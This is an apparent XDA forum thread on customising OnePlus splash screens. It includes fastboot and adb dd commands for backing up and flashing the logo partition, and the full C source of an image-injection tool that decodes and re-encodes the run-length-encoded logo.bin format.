how did you flash your modified logo.bin? if done through "fastboot flash logo logo.bin" it just quits with this error:
Code:
target reported max download size of 536870912 bytes
sending 'logo' (1581 KB)...
OKAY [ 0.064s]
writing 'logo'...
FAILED (remote: partition table doesn't exist)
finished. total time: 0.085s
this also happens with an unmodified logo.bin
Click to expand...
Click to collapse
You have to flash "LOGO" partition and not "logo"
makers_mark said:
You have to flash "LOGO" partition and not "logo"
Click to expand...
Click to collapse
gotta love case sensitivity. thanks, it worked.
awesome mod
It worked, thanks
This will work with Stock Oneplus 2 rom too, right?
Edit:
Working fine with my Onelus2 too, just got logo.bin from my stock Oxygen rom. Thanks again.
From where can I extract my logo.bin from my phone? I dont have the stock rom with me. I need this from 1+2 if this works with it?
Sent from my "GT-I9300/1+1" powered by Carbon Rom & Boeffla/ak Kernel
Fueled by 7000mAh ZeroLemon Battery
Edit:
Working fine with my Onelus2 too, just got logo.bin from my stock Oxygen rom. Thanks again.
shreyas.kukde said:
Interesting Can you tell me where do I find the logo.bin in my boot.img. I've extracted mine and don't see any sign of logo.bin. I own a OnePlus 2
Click to expand...
Click to collapse
nicesoni_ash said:
From where can I extract my logo.bin from my phone? I dont have the stock rom with me. I need this from 1+2 if this works with it?
Click to expand...
Click to collapse
I went into changing the splash screen only after I'd already changed to custom rom ( bliss 6 ), so I didn't had any official OPT rom zip.
I tried to use the "logo.bin.p" from latest OTA updates FROM HERE... but the LogoInjector telling me that "This is NOT a valid Logo.bin".
Solution I found -> I managed to EXTRACT THE LOGO.BIN FILE FROM THE OPT ITSELF !!!
I got it right after I read about this command and saw the "updater-script" from one of the official OTA updates that included a hint about logo.bin place in the OPT internal storage :
apply_patch("EMMC:/dev/block/bootdevice/by-name/LOGO:305152:567b5d4deed7f4875809ae8b7f071ab38e5a94d5:305152:16c76f9c0cadf8be18eed0961dfbcf3b7bd0aacf",
"-", 16c76f9c0cadf8be18eed0961dfbcf3b7bd0aacf, 305152,
567b5d4deed7f4875809ae8b7f071ab38e5a94d5, package_extract_file("patch/firmware-update/logo.bin.p"));
Click to expand...
Click to collapse
so... how to extract to logo.bin ?
Note: If you don't know what you're doing - DO NOT DO IT ! DD command is DANGEROUS !
Using adb open shell and run the following command:
dd if=/dev/block/bootdevice/by-name/LOGO of=/sdcard/logo.bin bs=305152 count=1
Click to expand...
Click to collapse
This will create a "logo.bin" file inside the root of your internal memory aka /sdcard folder.
I got from that the following image files list:
Resolution - Offset - Name
1080x1920 | 0............ | fhd_oppo_1080_1920_result.raw ---> THE SPLASH IMAGE !!!
536x60.........| 65536 | fhd_at_536_60_result.raw
300x1020....| 75264 | fhd_charger_300_1020_result.raw
1080x1920 | 89600 | fhd_fastboot_1080_1920_result.raw ---> THE FASTBOOT IMAGE !!!
1080x1920 | 145920 | fhd_lowpower_1080_1920_result.raw
392x66 ........| 277504 | fhd_rf_392_66_result.raw
487x69 ........| 285184 | fhd_wlan_487_69_result.raw
Note, inorder to load the png to the logo.bin you need to rename the png you make as *.raw according to this list above.
Now... inorder to "flash" the logo.bin back to the OPT I use the attached zip.
you only need to add "logo.bin" to the root of this zip, then flash it through TWRP.
@makers_mark - once again, after your OPO development - Thanks A LOT for developing & sharing with us LogoInjector for the OPT as well
@makers_mark
Could you make one for oneplus3?
Thanks in advance.
logo.bin for oneplus3 is attached.

[MOD][SPLASH][OP3] Splash Screen Image Injector

This is a program that I wrote to decode the newer style "logo.bin" files used in some OPPO, and OnePlus devices. Recently I have updated it to work with the OnePlus 3. It is backwards compatible with the old encoding. Please read below so you can better understand this type of encoding being used:
What Is A Raw Image?
A raw image, whether it be a file or an image in memory, is simply pixel data. There is no extra information like width, height, name, end of line... Absolutely nothing, just pixel data. If you have an image that is raw and the resolution is 1080x1920 and you are using a typical RGB24 or BGR24 (like the ones used here), then your exact filesize or size in memory will be 1080x1920x3! We use 3 here because there is one byte for the R or red component, one for the G (green), and one for the B(blue).
What Is A Run Length Encoded Image?
A run length image encoding uses a count ;usually a single byte (char), 2 bytes (short int), or 4 bytes (long int); and then the pixel components. So instead of writing out 300 bytes of '0's to make a line of 100 black pixels. Black is RGB(0,0,0). You could encode this as 100, 0, 0, 0. And only use 4 bytes of data to get the exact same image as the 300 byte raw image. All the run length encoding I've found, except the Motorola style which is a little different, use a run length encoding that is pixel-oriented like this.
Now I've figured out this new one and it is a byte-oriented run length encoding. This is for runs of bytes, not pixels. You may think, well whats the big deal? When you add a little area of color, you increase the run length encoded image in you logo.bin immensely! You use 6 bytes per pixel if there aren't any runs of color data. If you had an image that was a 1080x1920 black image with a 25 pixel horizontal line in the middle. The encoder would be doing runs of black data efficiently until it reached the red area.
.....0 255 0 255 0 255 0 255 0 255 0 133 /// we've reached the top left corner of the red line /// 13 1 30 1 255 1 // << that was just one red pixel!! in bgr color order (13, 30, 255) <<// And it keeps going through the rest of the red pixels on that line using 6 bytes per pixel, which is the opposite of compression. Before reaching the red line the encoding was decoding to 255 zeros over and over, until finally 133 zeros. 255 zeros is 85 black pixels stored in just 2 bytes!
This type of encoding is ONLY good for grey scale images. It is not good with color, but it still will handle color of course. In grey scale, the Red, Blue, and Green data components are always the same values. All the way from black (0,0,0) to white (255, 255, 255); including every shade of grey in between>>>(1,1,1) (2,2,2) (3,3,3)....(243, 243, 243) (254, 254, 254)<<<
One other difference in this method of run length encoding is that the color byte is before the count, which is backwards from all of the other methods.​
The attachment contains the C source code (which is also in the 2nd post) and the executable that was compiled using mingw32 on a 64 bit Windows 10 PC. The PNG library that I used is LodePng, the source is in the download.
Big thanks to @scoobyjenkins for testing the old program on the op3 and sharing his results!! Also for testing this new version too!!
To use logoinjector:
Decode your logo.bin:
Code:
op3inject -i logo.bin -d
All the PNG 's will be extracted from logo.bin. Edit the PNG(s) that you want to change...
Note:
Your original "logo.bin" file is never changed, it is just read. If the file you try to load isn't a logo.bin file, or a different style, then the program will tell you and exit. This version is backwards compatible with the last OnePlus/OPPO encoding method. The only one it won't do, is the original one, that was not encoded, it was just pixel data.​
Inject the image(s) back in to the logo.bin:
Code:
op3inject -i logo.bin -j fhd_oppo fhd_at
To list whats in your logo file:
Code:
op3inject -i logo.bin -l
For a more detailed list:
Code:
op3inject -i logo.bin -L
If the colors are messed up use the "-s" switch while decoding.
Code:
op3inject -i logo.bin -d -s
If you had to use the "-s" switch to decode properly, you'll have to use it to inject also:
Code:
op3inject -i logo.bin -j image_name -s
Note:
You can put as many names after "-j" as you want, and it's not case sensitive. You also don't have to put the whole name. If you just put "-j fhd" every image in the logo.bin that starts with "fhd" will be injected. There has to be a PNG with the name in the directory though​
The size of your modified.logo.bin will displayed along with the original size, if everything went good. The 'splash' partition is 16 MB on the OnePlus 3. If you use too much color on too many of the 7 images you will easily go over 16 MB. The program will tell you and delete the "modified.logo.bin" that was created. If for some strange reason you would like to keep it, use the "-B" flag on the command.
Flash the "modified.logo.bin" file through fastboot.
Use this at your own risk.
Always make backups.
Always.
Code:
/*
* Logo Injector v1.4 aka OP3Inject
*
* Copyright (C) 2016 Joseph Andrew Fornecker
* makers_mark @ xda-developers.com
* [email protected]
*
* New in v1.2:
*
* - Fixed out of scope crash involving image #26 in oppo find 7 logo.bin (26 IS BIG)
* - Multiple injection names possible after the -j parameter
* - Injection names are now case insensitive
* - BGR is the the default color order, instead of RGB
* - Added more error checks
* - Show the change in file size of original logo.bin compare to the modified logo.bin
* - Several small changes dealing with readability
*
* New in v1.4:
*
* - Added the OnePlus 3's 4096 blocksize
* - General cleanup
* - Remains backwards compatible
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include "lodepng.h"
#define SWAP32(x) (( x >> 24 )&0xff) | ((x << 8)&0xff0000) | ((x >> 8)&0xff00) | ((x << 24)&0xff000000)
#define OFFSETSTART 48
#define BYTESPERPIXEL 3
#define MAXOFFSETS 28
#define SIZEOFLONGINT 4
#define TWOTOTHETEN 1024
typedef struct {
uint8_t header[8];
uint8_t blank[24];
uint32_t width;
uint32_t height;
uint32_t lengthOfData;
uint32_t special;
uint32_t offsets[MAXOFFSETS];
uint8_t name[64];
uint8_t metaData[288];
} IMAGEHEAD;
uint16_t Copy(FILE *, IMAGEHEAD *, uint16_t , uint16_t, FILE *);
int32_t InjectNewStyle(FILE *, IMAGEHEAD *, uint16_t , uint8_t *, uint16_t, FILE *, uint32_t * );
int32_t RewriteHeaderZero( uint32_t , uint16_t, FILE* , int32_t, uint32_t * );
uint32_t Encode(uint8_t*, uint8_t*, uint32_t);
uint32_t GetEncodedSize(uint8_t*, uint32_t);
uint32_t GetWidth(FILE*);
uint32_t GetHeight(FILE*);
uint64_t BlockIt(uint32_t);
uint16_t GetNumberOfOffsets(FILE*);
int32_t DecodeLogoBin(FILE*, IMAGEHEAD *);
int32_t ListFileDetails(FILE*);
uint8_t* Decode(FILE*, uint32_t, uint32_t, uint32_t, uint8_t*);
int32_t IsItTheNewStyle(FILE*);
IMAGEHEAD* ParseHeaders(FILE*, uint16_t);
int32_t IsItALogo(FILE*);
void PrintFileSize(uint32_t);
uint32_t GetFileSize(FILE *);
uint16_t iBlock = 512;
uint16_t badAss = 0;
int16_t rgb2bgr = 1;
uint16_t convertToPNG = 1;
const uint8_t HEADER[] = {0x53,0x50,0x4C,0x41,0x53,0x48,0x21,0x21};
int32_t IsItALogo(FILE *originalLogoBin){
uint8_t string[9];
uint16_t i;
fread(string, 1, 8, originalLogoBin);
for (i = 0 ; i < 8 ; i++){
if (string[i] == HEADER[i]){
continue;
} else {
return 0;
}
}
return 1;
}
int32_t IsItTheNewStyle(FILE *originalLogoBin){
int32_t newStyle = 0;
int8_t j = 0;
fread(&newStyle, 1, SIZEOFLONGINT, originalLogoBin);
fseek(originalLogoBin, iBlock + 1, SEEK_SET);
fread(&j, 1, 1, originalLogoBin);
if (j == 0){
iBlock = 4096;
}
if (newStyle == 0){
return 1;
} else {
return 0;
}
}
IMAGEHEAD *ParseHeaders(FILE *originalLogoBin, uint16_t numberOfOffsets){
uint8_t i = 0;
IMAGEHEAD *imageHeaders;
imageHeaders = malloc(iBlock * numberOfOffsets);
memset(imageHeaders, 0, iBlock * numberOfOffsets);
fseek(originalLogoBin, 0, SEEK_SET);
fread(&imageHeaders[i], 1 , iBlock, originalLogoBin);
for ( i = 1 ; i < numberOfOffsets ; ++i ){
fseek(originalLogoBin, imageHeaders[0].offsets[i], SEEK_SET);
fread(&imageHeaders[i], 1 , iBlock, originalLogoBin);
}
return imageHeaders;
}
uint16_t GetNumberOfOffsets(FILE *originalLogoBin){
uint16_t i = 0;
uint32_t readAs = 0;
fseek(originalLogoBin, OFFSETSTART, SEEK_SET);
while(i < MAXOFFSETS){
fread(&readAs, 1, SIZEOFLONGINT, originalLogoBin);
if ((readAs == 0) && (i != 0)){
break;
} else {
i++;
}
}
return i;
}
uint8_t* Decode(FILE *originalLogoBin, uint32_t start, uint32_t length, uint32_t imageBytes, uint8_t* image){
uint32_t decodedBytes = 0, i = 0;
uint8_t* data;
fseek(originalLogoBin, start, SEEK_SET);
data = (uint8_t*)malloc(length);
if (fread(data, 1, length, originalLogoBin) != length) {
fprintf(stderr, "Could not read file!!\n");
exit(0);
}
while((i < length) && (decodedBytes < imageBytes)){
memset(&image[decodedBytes], data[i], (data[i + 1]));
decodedBytes += (uint8_t)data[i+1];
i += 2;
if ((i < length) && (imageBytes - decodedBytes < (uint8_t)data[i + 1])){
memset(&image[decodedBytes], data[i], imageBytes - decodedBytes);
decodedBytes = imageBytes;
fprintf(stdout, "More information was in encoding than resolution called for.\n");
break;
}
}
fprintf(stdout, "%ld decoded bytes\n\n", (long int)decodedBytes);
free(data);
if( rgb2bgr == 1 ){
uint8_t old;
i = 0;
while( i < imageBytes){
old = image[i];
memset(&image[i], image[i + 2], 1);
memset(&image[i + 2], old, 1);
i += BYTESPERPIXEL;
}
}
return image;
}
int32_t DecodeLogoBin(FILE *originalLogoBin, IMAGEHEAD *imageHeaders){
uint32_t imageBytes, start;
uint8_t* image;
uint8_t name[65];
uint16_t i , numberOfOffsets = GetNumberOfOffsets(originalLogoBin);
for ( i = 0 ; i < numberOfOffsets ; i++ ){
fprintf(stdout,"#%02d: Offset:%ld ", i + 1, (long int)imageHeaders[0].offsets[i]);
if ((imageHeaders[i].width == 0) || (imageHeaders[i].height == 0)){
fprintf(stdout, "Placeholder for %s\n", imageHeaders[i].metaData);
continue;
}
fprintf(stdout, "\nHeader=%s\nWidth=%ld\nHeight=%ld\nData Length=%ld\nSpecial=%ld\nName=%s\nMetadata=%s\n",
imageHeaders[i].header, (long int)imageHeaders[i].width, (long int)imageHeaders[i].height,
(long int)imageHeaders[i].lengthOfData, (long int)imageHeaders[i].special, imageHeaders[i].name, imageHeaders[i].metaData);
if (convertToPNG){
start = imageHeaders[0].offsets[i] + iBlock;
imageBytes = imageHeaders[i].width * (imageHeaders[i].height) * BYTESPERPIXEL;
image = malloc(imageBytes);
const char* ext;
ext = strrchr((const char*)imageHeaders[i].name, '.');
if (((ext[1] == 'p') || (ext[1] == 'P')) &&
((ext[2] == 'n') || (ext[2] == 'N')) &&
((ext[3] == 'g') || (ext[3] == 'G')) &&
((ext[0] == '.'))){
sprintf((char*)name, "%s", imageHeaders[i].name);
} else {
sprintf((char*)name, "%s.png", imageHeaders[i].name);
}
lodepng_encode24_file((const char*)name, Decode(originalLogoBin, (uint32_t)start, (uint32_t)imageHeaders[i].lengthOfData, (uint32_t)imageBytes, image) , (unsigned)imageHeaders[i].width, (unsigned)imageHeaders[i].height);
free(image);
}
}
return 0;
}
int32_t ListFileDetails(FILE *originalLogoBin){
uint32_t i = 0;
fseek(originalLogoBin, 0, SEEK_SET);
uint16_t numberOfOffsets = GetNumberOfOffsets(originalLogoBin);
IMAGEHEAD *imageHeaders = ParseHeaders(originalLogoBin, numberOfOffsets);
fprintf(stdout, "Resolution\tOffset\t\tName\n");
fprintf(stdout, "-------------------------------------------------------------\n");
for ( i = 0 ; i < numberOfOffsets ; i++ ){
if ((imageHeaders[i].width == 0) || (imageHeaders[i].height == 0)){
fprintf(stdout, "(placeholder) for %s\n", imageHeaders[i].metaData);
continue;
}
fprintf(stdout,"%dx%d\t", imageHeaders[i].width, imageHeaders[i].height);
if ((imageHeaders[i].width < 1000) && (imageHeaders[i].height <1000)){fprintf(stdout, "\t");}
fprintf(stdout, "%ld\t", (long int)imageHeaders[0].offsets[i]);
if (imageHeaders[0].offsets[i] < 10000000){fprintf(stdout, "\t");}
fprintf(stdout, "%s\n", imageHeaders[i].name );
}
return 1;
}
uint16_t Copy(FILE *originalLogoBin, IMAGEHEAD *imageHeaders, uint16_t numberOfOffsets, uint16_t injectionNumber, FILE *modifiedLogoBin){
uint8_t *data;
uint32_t imageSize = BlockIt(iBlock + imageHeaders[injectionNumber].lengthOfData);
if( imageHeaders[injectionNumber].name[0] == 0){
fprintf(stdout, "Copying \t#%d:(placeholder) %s\n", injectionNumber + 1 , imageHeaders[injectionNumber].metaData);
} else {
fprintf(stdout, "Copying \t#%d:%s\n", injectionNumber + 1 , imageHeaders[injectionNumber].name);
}
data = malloc(imageSize);
memset(data, 0 , imageSize);
fread(data, 1, imageSize, originalLogoBin);
fwrite(data, 1 , imageSize, modifiedLogoBin);
free(data);
return 1;
}
int32_t InjectNewStyle(FILE *originalLogoBin, IMAGEHEAD *imageHeaders, uint16_t numberOfOffsets, uint8_t *injectionName, uint16_t injectionNumber, FILE *modifiedLogoBin, uint32_t *ihMainOffsets ){
uint32_t encodedSize = 0, actualWritten = 0;
int8_t inFileName[69];
int32_t blockDifference;
FILE *pngFile;
uint16_t op3 = 0;
sprintf((char*)inFileName, "%s", injectionName);
if (imageHeaders[injectionNumber].special != 1){
fprintf(stdout, "ERROR: \"Special\" is not equal to '1' \nThis would not be safe to flash!\nPlease email logo.bin in question to:\[email protected]\n");
fclose(originalLogoBin);
fclose(modifiedLogoBin);
return 0;
}
if ((pngFile = fopen((const char*)inFileName, "rb")) == NULL){
sprintf((char*)inFileName, "%s.png", injectionName);
if ((pngFile = fopen((const char*)inFileName, "rb")) == NULL){
fclose(pngFile);
fclose(modifiedLogoBin);
fclose(originalLogoBin);
fprintf(stderr, "%s could not be read\n", inFileName);
return 0;
}
}
IMAGEHEAD new;
memset(new.blank, 0, sizeof(new.blank));
memset(new.metaData, 0, sizeof(new.metaData));
memset(new.offsets, 0, SIZEOFLONGINT * MAXOFFSETS);
memset(new.name, 0, sizeof(new.name));
strncpy((char*)new.header, (const char*)HEADER , 8);
strncpy((char*)new.metaData, (const char*)imageHeaders[injectionNumber].metaData, sizeof(imageHeaders[injectionNumber].metaData));
strncpy((char*)new.name, (const char*)injectionName, 64);
new.special = 1;
fprintf(stdout, "Injecting\t#%d:%s\n", injectionNumber + 1 , imageHeaders[injectionNumber].name);
if (((new.width = GetWidth(pngFile)) != imageHeaders[injectionNumber].width) && (!badAss)){
fprintf(stderr, "Error: Width of PNG to be injected is %d, it must be %d!\n", new.width, imageHeaders[injectionNumber].width);
fclose(pngFile);
fclose(modifiedLogoBin);
fclose(originalLogoBin);
return 0;
}
if (((new.height = GetHeight(pngFile)) != imageHeaders[injectionNumber].height) && (!badAss)){
fprintf(stderr, "Error: Height of PNG to be injected is %d, it must be %d!\n", new.height, imageHeaders[injectionNumber].height);
fclose(pngFile);
fclose(modifiedLogoBin);
fclose(originalLogoBin);
return 0;
}
uint32_t rawBytes = new.width * new.height * BYTESPERPIXEL;
uint8_t *decodedPNG = malloc(rawBytes);
lodepng_decode24_file(&decodedPNG, (uint32_t*)&new.width, (uint32_t*)&new.height , (const char*)inFileName);
if (rgb2bgr == 1){
uint8_t old;
uint32_t k = 0;
while( k < rawBytes ){
old = decodedPNG[k];
memset(&decodedPNG[k], decodedPNG[k + 2], 1);
memset(&decodedPNG[k + 2], old, 1);
k += BYTESPERPIXEL;
}
}
encodedSize = GetEncodedSize(decodedPNG, (new.width * new.height * BYTESPERPIXEL));
new.lengthOfData = encodedSize;
uint8_t *rlEncoded = malloc(BlockIt(encodedSize));
memset(rlEncoded, 0, BlockIt(encodedSize));
actualWritten = Encode(decodedPNG, rlEncoded, (new.width * new.height * BYTESPERPIXEL));
blockDifference = (((iBlock + BlockIt(actualWritten)) - (iBlock + BlockIt(imageHeaders[injectionNumber].lengthOfData))) / iBlock);
fwrite(&new, 1 , 512, modifiedLogoBin);
for (op3 = 0; op3 < iBlock - 512; op3++){
fputc(0, modifiedLogoBin);
}
fwrite(rlEncoded, 1 , BlockIt(actualWritten), modifiedLogoBin);
free(decodedPNG);
free(rlEncoded);
RewriteHeaderZero( injectionNumber , numberOfOffsets , modifiedLogoBin , blockDifference, ihMainOffsets);
fclose(pngFile);
return 1;
}
int32_t RewriteHeaderZero( uint32_t injectionImageNumber , uint16_t numberOfOffsets, FILE *modifiedLogoBin , int32_t blockDifference, uint32_t *ihMainOffsets){
uint8_t j = injectionImageNumber + 1 ;
uint32_t filePosition = ftell(modifiedLogoBin);
uint32_t offset = 0;
for( ; j < numberOfOffsets; j++){
fseek(modifiedLogoBin, OFFSETSTART + (SIZEOFLONGINT * j), SEEK_SET);
offset = ihMainOffsets[j];
offset += (blockDifference * iBlock);
fseek(modifiedLogoBin, OFFSETSTART + (SIZEOFLONGINT * j), SEEK_SET);
fwrite(&offset, 1 , SIZEOFLONGINT , modifiedLogoBin);
ihMainOffsets[j] = offset;
}
fseek(modifiedLogoBin, filePosition , SEEK_SET);
return 1;
}
uint32_t GetEncodedSize(uint8_t* data, uint32_t size){
uint32_t pos = 0, ret = 0;
uint16_t count = 1;
for( pos = 0 ; pos < size ; ++pos , count = 1){
while((pos < size - 1) && (count < 0xFF) && ((memcmp(&data[pos], &data[pos+1], 1)) == 0)){
count++;
pos++;
}
ret += 2;
}
return ret;
}
uint32_t Encode(uint8_t* rawRgbReading, uint8_t* rlEncoded, uint32_t rawSize){
uint32_t writePosition = 0 , readPosition = 0;
uint16_t count = 1;
for( readPosition = 0 ; readPosition < rawSize ; ++readPosition , count = 1){
while((readPosition < rawSize - 1 ) && (count < 0xFF) && ((memcmp(&rawRgbReading[readPosition], &rawRgbReading[readPosition+1], 1)) == 0)){
count++;
readPosition++;
}
rlEncoded[writePosition] = rawRgbReading[readPosition];
rlEncoded[writePosition + 1] = count;
writePosition += 2;
}
return writePosition;
}
uint32_t GetWidth(FILE *pngFile){
uint32_t width;
fseek(pngFile, 16, SEEK_SET);
fread(&width, 1, SIZEOFLONGINT, pngFile);
return(SWAP32(width));
}
uint32_t GetHeight(FILE *pngFile){
uint32_t height;
fseek(pngFile, 20, SEEK_SET);
fread(&height, 1, SIZEOFLONGINT, pngFile);
return(SWAP32(height));
}
uint64_t BlockIt(uint32_t isize){
uint32_t blockSize = iBlock;
if ((isize % blockSize) == 0){
return isize;
}else{
return isize + (blockSize - (isize % blockSize));
}
}
void Usage(){
fprintf(stdout, "Usage: OP3Inject -i \"input file\" [-l] | [-L] | [-d [-s]] | [-j \"image to be replaced\" [-b] | [-s]]\n\n");
fprintf(stdout, "Mandatory Arguments:\n\n");
fprintf(stdout, "\t-i \"C:\\xda\\logo.bin\"\n");
fprintf(stdout, "\t This is the logo.bin file to analyze or inject an image\n\n");
fprintf(stdout, "Optional Arguments:\n\n");
fprintf(stdout, "\t-d Decode all images into PNGs, (-s)wap parameter may be needed for proper color.\n");
fprintf(stdout, "\t-l Lower case 'L' is to display a short list of what is inside the input file.\n");
fprintf(stdout, "\t-L Upper case 'L' is for a more detailed list of logo.bin image contents.\n");
fprintf(stdout, "\t-b 'b' is used to tell the program to disregard width or height differences\n");
fprintf(stdout, "\t when encoding an image, the program also won't fail if it can't find a name\n");
fprintf(stdout, "\t that can't be found on the inject list when encoding images. This switch\n");
fprintf(stdout, "\t also keeps modified logo bins over 16 gb, instead of deleting them.\n");
fprintf(stdout, "\t-s 's' is used to swap RGB and BGR color order. Can be used on decoding or encoding.\n");
fprintf(stdout, "\t The default color order is BGR. Using the \"-s\" switch\n");
fprintf(stdout, "\t will result in a RGB color order. Bottom line: If you (-d)ecode the\n");
fprintf(stdout, "\t images (that have color) and the colors aren't right, then you should use (-s) to \n");
fprintf(stdout, "\t decode and inject images.\n");
fprintf(stdout, "\t-j \"image(s) to be replaced\"\n");
fprintf(stdout, "\t The image(s) name to be replaced as seen in the (-l)ist\n");
fprintf(stdout, "\t Multiple image names may be put after \"-j\"\n");
fprintf(stdout, "\t The names simply need to be separated by a space. The names also are not case\n");
fprintf(stdout, "\t sensitive, and it doesn't matter if you put the extension at the end of the name.\n");
fprintf(stdout, "\t You actually only need to put the first characters of the name.\nExample:\n");
fprintf(stdout, "\t OP3Inject -i \"your_logo.bin\" -j FHD \n\n");
fprintf(stdout, "\t This will inject a PNG for every name in the logo bin that begins with \"fhd\"\n");
return;
}
void PrintFileSize(uint32_t bytes){
float megaBytes = 0, kiloBytes = 0;
kiloBytes = (float)bytes / (float)TWOTOTHETEN;
megaBytes = kiloBytes / (float)TWOTOTHETEN;
if (kiloBytes < (float)TWOTOTHETEN){
fprintf(stdout, "\t%.2f KB\n", kiloBytes);
} else {
fprintf(stdout, "\t%.2f MB\n", megaBytes);
}
return;
}
uint32_t GetFileSize(FILE *temp){
fseek(temp, 0 , SEEK_END);
uint32_t fileSizeZ = ftell(temp);
return(fileSizeZ);
}
int32_t main(int32_t argc, char** argv){
int32_t c;
int16_t h, i , j , k = 0;
FILE *originalLogoBin = NULL, *modifiedLogoBin = NULL;
uint8_t *inputFile = NULL;
uint8_t *injectNames[MAXOFFSETS];
int16_t decodeAllOpt = 0;
int16_t inject = 0;
int16_t listFile = 0;
uint16_t numberOfOffsets = 0, injected = 0;
for(i = 0; i < MAXOFFSETS; i++){
injectNames[i] = NULL;
}
fprintf(stdout, "__________________________________________________________-_-\n");
fprintf(stdout, "Logo Injector v1.4\n\nWritten By Makers_Mark @ XDA-DEVELOPERS.COM\n");
fprintf(stdout, "_____________________________________________________________\n\n");
while ((c = getopt (argc, (char**)argv, "sSj:J:hHbBdDlLi:I:")) != -1){
switch(c)
{
case 'l':
listFile = 1;
break;
case 'L':
decodeAllOpt = 1;
convertToPNG = 0;
break;
case 'i':
case 'I':
inputFile = (uint8_t*)optarg;
break;
case 'b':
case 'B':
badAss = 1;
break;
case 'j':
case 'J':
h = optind - 1 ;
uint8_t *nextArg;
while(h < argc){
inject = 1;
nextArg = (uint8_t*)strdup(argv[h]);
h++;
if(nextArg[0] != '-'){
injectNames[k++] = nextArg;
} else {
break;
}
}
optind = h - 1;
break;
case 'd':
case 'D':
decodeAllOpt = 1 ;
break;
case 's':
case 'S':
rgb2bgr = -1 ;
break;
case 'h':
case 'H':
Usage();
return 0;
break;
default:
Usage();
return 0;
break;
}
}
if (inputFile == NULL){
Usage();
return 0;
}
fprintf(stdout, "FILE: %s\n_____________________________________________________________\n\n", inputFile);
if (rgb2bgr == 1){
fprintf(stdout, "BGR is the color order. Use \"-s\" switch to change it to RGB.\n\n");
} else {
fprintf(stdout, "RGB is the color order. Use \"-s\" switch to change it to BGR.\n\n");
}
if ((originalLogoBin = fopen((const char*)inputFile, "rb")) == NULL){
fprintf(stderr, "%s could not be opened\n", inputFile);
return 0;
}
if (!IsItALogo(originalLogoBin)){
fprintf(stdout, "\nThis is NOT a valid Logo.bin\n\n");
fclose(originalLogoBin);
return 0;
}
if (!IsItTheNewStyle(originalLogoBin)){
fprintf(stdout, "\nThis is the old style logo.bin\n\n");
fclose(originalLogoBin);
return 0;
}
numberOfOffsets = GetNumberOfOffsets(originalLogoBin);
IMAGEHEAD *imageHeaders = ParseHeaders(originalLogoBin, numberOfOffsets);
if (listFile){
ListFileDetails(originalLogoBin);
return 1;
}
if(inject){
uint32_t ihMainOffsets[MAXOFFSETS];
uint8_t found = 0, exitFlag = 0;
for (i = 0; i < MAXOFFSETS ; i++){
ihMainOffsets[i] = 0;
}
for (j = 0; j < k ; j++){
for (i = 0 ; i < numberOfOffsets ; i++ ){
if((strcasecmp((const char*)imageHeaders[i].name, (const char*)injectNames[j]) == 0) ||
(strncasecmp((const char*)imageHeaders[i].name, (const char*)injectNames[j], strlen((const char*)injectNames[j])) == 0)){
found = 1;
break;
} else {
found = 0;
}
}
if (!found){
fprintf(stdout, "ERROR: \"%s\" is not in the logo bin !!!!\n", injectNames[j]);
exitFlag = 1;
}
}
if ((exitFlag) && (!badAss)){
fclose(originalLogoBin);
exit(0);
}
memcpy(&ihMainOffsets , &imageHeaders[0].offsets, SIZEOFLONGINT * MAXOFFSETS);
fseek(originalLogoBin, 0, SEEK_SET);
if ((modifiedLogoBin = fopen("modified.logo.bin", "wb+")) == NULL){
fclose(modifiedLogoBin);
fclose(originalLogoBin);
fprintf(stderr, "modified.logo.bin could not be opened\n");
return 0;
}
for (i = 0 ; i < numberOfOffsets ; i++ , injected = 0 ){
for (j = 0; j < k ; j++){
if((strcasecmp((const char*)imageHeaders[i].name, (const char*)injectNames[j]) == 0) ||
(strncasecmp((const char*)imageHeaders[i].name, (const char*)injectNames[j], strlen((const char*)injectNames[j])) == 0)){
if (InjectNewStyle(originalLogoBin, imageHeaders , numberOfOffsets, imageHeaders[i].name, i, modifiedLogoBin, ihMainOffsets) == 0){
fprintf(stderr, "Error: Injecting %s\n", imageHeaders[i].name);
fclose(originalLogoBin);
fclose(modifiedLogoBin);
return 0;
}
if ( i != numberOfOffsets - 1 ){
fseek(originalLogoBin, imageHeaders[0].offsets[i+1], SEEK_SET);
}
injected = 1;
break;
}
}
if (!injected){
Copy(originalLogoBin , imageHeaders, numberOfOffsets, i, modifiedLogoBin);
}
}
if (GetNumberOfOffsets(modifiedLogoBin) != numberOfOffsets){
fprintf(stderr, "ERROR: The number of offsets doesn't match the Original file!!\n");
fclose(modifiedLogoBin);
if (!badAss){
unlink("modified.logo.bin");
}
exit(0);
}
fclose(modifiedLogoBin);
fprintf(stdout, "\n\nContents of the NEW \"modified.logo.bin\":\n");
fprintf(stdout, "VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV\n\n");
FILE *newModified;
if ((newModified = fopen("modified.logo.bin", "rb")) == NULL){
fclose(originalLogoBin);
fprintf(stderr, "modified.logo.bin could not be opened\n");
return 0;
}
ListFileDetails(newModified);
fprintf(stdout, "\n\n_____________________________________________________________\nOriginal filesize: ");
PrintFileSize(GetFileSize(originalLogoBin));
fprintf(stdout, "Modified filesize: ");
PrintFileSize(GetFileSize(newModified));
fprintf(stdout, "-------------------------------------------------------------\n");
if (GetFileSize(newModified) > 0x1000000){
fprintf(stdout, "\nTHE MODIFIED.LOGO.BIN IS LARGER THAN 16 GIGABYTES!\n");
fprintf(stdout, "THE SPLASH PARTITION ON THE ONEPLUS 3 IS NOT BIG \n");
fprintf(stdout, "ENOUGH TO HOLD THIS MODIFIED LOGO!\n");
if (!badAss){
fclose(newModified);
unlink("modified.logo.bin");
return 0;
}
}
fclose(originalLogoBin);
fclose(newModified);
return 1;
}
if (decodeAllOpt){
DecodeLogoBin(originalLogoBin, imageHeaders);
fclose(originalLogoBin);
return 1;
}
fclose(originalLogoBin);
return 1;
}
Thank you so much for this! Tested and working great: https://plus.google.com/+PeteBest444/posts/S4T124taYmJ
How can I backup my original logo.bin file?
matze19999 said:
How can I backup my original logo.bin file?
Click to expand...
Click to collapse
The logo.bin you supply isn't ever changed by the program, it is just modified on your computer, then reinstalled on the phone. Unless you are talking about acquiring the logo.bin in the first place? In that case check out this guide. The partition that you'll be trying to get is the "splash" partition, and that is your "logo.bin":good:
How can I backup my original logo.bin file?
Click to expand...
Click to collapse
access adb and input code
Code:
adb shell dd if=/dev/block/sde17 of=/sdcard/partition/LOGO.bin
adb pull /sdcard/LOGO.bin
makers_mark said:
